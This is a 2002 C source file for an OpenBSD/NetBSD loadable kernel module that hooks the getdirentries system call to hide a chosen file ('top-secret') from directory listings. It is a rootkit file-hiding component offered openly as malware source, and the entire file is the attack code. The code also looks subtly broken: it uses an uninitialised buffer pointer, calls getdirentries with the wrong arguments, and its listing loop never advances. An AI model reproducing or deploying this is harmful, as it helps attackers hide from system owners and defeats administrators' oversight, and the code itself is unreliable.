/* OpenBSD (should work also on NetBSD) LKM hiding file using getdirentries */
/* systemcall!                                                              */
/* 2002 by gr33k gr33k@frapes.org www.frapes.org www.gm.fh-koeln.de/~ai604  */

#define DONT_PERMIT
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/conf.h>
#include <sys/syscallargs.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/errno.h>
#include <sys/dirent.h>
#include <sys/proc.h>
#include <sys/syslog.h>
#include <sys/malloc.h>

int my_getdirentries __P((struct proc *, void *, register_t *)); 
MOD_MISC("HideFile");

static int
HideFile_load(struct lkm_table *lkmtp,int cmd)
{
 if(cmd==LKM_E_LOAD) 
 {
  sysent[SYS_getdirentries].sy_call=my_getdirentries;
 }
 return 0;
}

static int
HideFile_unload(struct lkm_table *lkmtp,int cmd)
{
 if(cmd==LKM_E_UNLOAD) 
 {
  sysent[SYS_getdirentries].sy_call=sys_getdirentries;
 }
 return 0;
}

HideFile(lkmtp,cmd,ver)
 struct lkm_table *lkmtp;	
 int cmd;
 int ver;
 {
  DISPATCH(lkmtp,cmd,ver,HideFile_load,HideFile_unload,lkm_nofunc);
 }

int
my_getdirentries(p,v,retval)
 struct proc *p;
 void *v;
 register_t *retval;
 {
  register struct sys_getdirentries_args *uap=v;
  unsigned int tmp,n,t;
  struct dirent *dirp2,*dirp3;
  char hide[]="top-secret";                        /* Edit filename */

  getdirentries(p,uap);
  tmp=p->p_dupfd; 
  if(tmp>0)
  {
   copyin(&(uap->buf),dirp2,tmp);
   dirp3=dirp2;
   t=tmp;
   while(t>0)
   {
    n=dirp3->d_reclen;
    t-=n;
    if(strcmp((char*)&(dirp3->d_name), (char*)&hide)==0) 
    {
     if(t!=0)
     bcopy((char*)dirp3+n,(char*)dirp3,t);
    }
    tmp-=n;
   }
   if(dirp3->d_reclen==0)
     t=0;
   if(t!=0)
     dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
  } 
  p->p_dupfd=tmp;
  copyout(dirp2,&(uap->buf),tmp);
  return (0);
 }
